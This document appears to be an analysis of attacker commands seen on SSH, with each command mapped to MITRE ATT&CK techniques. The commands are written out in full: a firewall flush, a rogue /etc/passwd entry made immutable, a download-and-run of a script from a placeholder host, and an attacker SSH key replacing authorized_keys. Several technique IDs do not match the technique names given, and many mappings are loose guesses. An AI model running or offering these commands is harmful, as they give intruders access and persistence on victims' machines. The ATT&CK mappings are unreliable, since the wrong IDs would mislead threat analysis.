Generated SSH Commands – sorted from simplest to most complex

1. **mv /usr/bin/curl /usr/bin/cd1**
   Defense Evasion: Modify System Image (T1564.001): Adversaries may modify or replace commands with their own versions to manipulate system behavior. In this case, renaming curl to cd1 could be considered a form of modifying the system image.

   Defense Evasion: Indicator Removal on Host (T1070): Renaming the command may be an attempt to remove indicators that defenders could use to detect or investigate malicious activity on the host.

   Defense Evasion: Disable or Modify System Firewall (T1562.002): While the specific action of renaming a command doesn't directly relate to modifying a firewall, it could be part of a broader strategy to disable or modify security controls by interfering with commonly used commands.

   Defense Evasion: Modify Registry (T1112): While this technique is primarily associated with Windows systems, the concept of altering where commands are located or their names could be seen as a similar attempt to subvert the expected behavior of the system.

1. **sudo iptables -P INPUT ACCEPT**
   iptables -P OUTPUT ACCEPT
   iptables -P FORWARD ACCEPT
   iptables -F

   Defense Evasion: Disabling Security Tools (T1562.001): Adversaries may attempt to disable security tools, and in this case, the iptables rules may be considered a security control that the adversary is attempting to disable.

   Defense Evasion: Disable or Modify System Firewall (T1562.002): This technique specifically relates to modifying or disabling system firewalls. The iptables commands could be seen as an attempt to disable or modify the firewall rules.

   Impact [Potentiality / Debatability]

2. **ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem /var/config/sms/***

Discovery: System Information Discovery (T1082): The command is used to discover information about system configuration and files related to GSM and SMS.

Discovery: File and Directory Discovery (T1083): The command involves listing files and directories to discover the presence of certain files related to GSM and SMS.

Collection: Data from Local System (T1005): The command may be part of an attempt to collect information about GSM and SMS configurations and logs from the local system.

Exfiltration: Exfiltration Over Physical Medium (T1052): The discovered information could potentially be exfiltrated over a physical medium, although the provided command itself doesn't perform exfiltration.

3.
   ```
   grep -q example /etc/passwd || chattr -ia /etc/passwd;
   grep -q example /etc/passwd || echo
   'example:x:1000:1000::/home/'example:/bin/bash' >> /etc/passwd;
   chattr +ia /etc/passwd;
   ```

Defense Evasion: Modify System Image (T1564.001): The commands attempt to modify the /etc/passwd file, which is a critical system file. This action could be considered a form of modifying the system image to potentially hide the addition of a new user.

Privilege Escalation: Valid Accounts (T1078): The attempt to add a new user ('example') to the system could be associated with privilege escalation. If successful, the adversary could use this new account to gain additional privileges or maintain access to the system.

Persistence: Modify Account (T1137): The addition of a new user to the /etc/passwd file could be an attempt at establishing persistence. By creating a new user, the adversary might ensure continued access to the system even if other accounts are discovered and disabled.

Defense Evasion: Indicator Removal on Host (T1070): The commands are designed to hide their activities by modifying the /etc/passwd file and then making it immutable and append-only. This could be an attempt to remove indicators that defenders might use for detection or investigation.

4.
   ```
   wget http://examplecdn.com/run.sh; curl -O http://examplecdn.com/run.sh;
   chmod 777 *; sh run.sh;
   echo run
   ```

Execution: Command and Scripting Interpreter (T1059): The command uses the sh shell to execute the downloaded script (run.sh), falling under the technique of using command and scripting interpreters for execution.

Defense Evasion: Masquerading (T1036): The use of wget and curl to download the script, combined with changing file permissions and executing it, could be an attempt to masquerade the malicious activity as normal or benign behavior.

Defense Evasion: Indicator Removal on Host (T1070): The command could be involved in removing indicators of compromise by downloading and executing a script, and then potentially deleting or modifying its own traces.

Execution: User Execution (T1204): The command relies on the user to execute the downloaded script (run.sh), which is a common method of achieving initial execution on a system.

Persistence: Boot or Logon Autostart Execution (T1547.001):

Depending on the content of the downloaded script, the execution might be an attempt to establish persistence by configuring the system to run the script on boot or logon.
Collection: Input Capture (T1056.001):

The downloaded script (run.sh) could potentially perform actions that capture input, leading to sensitive information being collected.

5. **cd ~; chattr -ia .ssh; cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa [key] drfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~**

Defense Evasion: Indicator Removal on Host (T1070):

The commands involve removing the .ssh directory and its contents, which could be an attempt to remove indicators of compromise or actions taken by an adversary.

Defense Evasion: Modify System Image (T1564.001): The use of chattr to manipulate file attributes and the removal and recreation of the .ssh directory could be considered an attempt to modify the system image.

Persistence: Create Account (T1136): The addition of a new SSH key to the authorized_keys file suggests an attempt to establish persistence by ensuring ongoing access to the system.

Persistence: Modify Authentication Process (T1546.003): Modifying the SSH authorized keys file can be part of modifying the authentication process, ensuring the persistence of the adversary's access.

Privilege Escalation: Valid Accounts (T1078): The addition of a new SSH key allows for potential access to the system, and it might be used for privilege escalation

6. **cat /proc/mounts; /bin/busybox KIAGP**
   cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KIAGP
   tftp; wget; /bin/busybox KIAGP

```
dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s
/bin/busybox KIAGP
rm .s; exit
```

(Background - BusyBox is a software suite that provides several Unix utilities in a single executable file)

Discovery: System Information Discovery (T1082): The command sequence involves inspecting the /proc/mounts file to gather information about mounted filesystems.

Defense Evasion: Indicator Removal on Host (T1070): The commands involve manipulating files, copying binaries, and removing files (rm .s) to potentially remove traces of the malicious activity.

Execution: Command and Scripting Interpreter (T1059): The commands leverage different techniques, including TFTP, wget, and busybox, for downloading and executing a payload.

Exfiltration: Exfiltration Over Command and Control Channel (T1041): The use of TFTP and wget may be indicative of attempts to exfiltrate data over a command and control channel.

Persistence: Modify System Image (T1564.001): The copying of /bin/echo to .s in /dev/shm could be an attempt to modify the system image.

Command and Control: Standard Application Layer Protocol (T1071.001): The use of TFTP and wget indicates potential communication with a command and control server.

Defense Evasion: Hidden Files and Directories (T1564.005):The use of a hidden file (.s) in /dev/shm could be an attempt to hide malicious activity.

Defense Evasion: Masquerading (T1036): The use of /bin/busybox with the argument KIAGP may be an attempt to masquerade the actual intent of the executed command.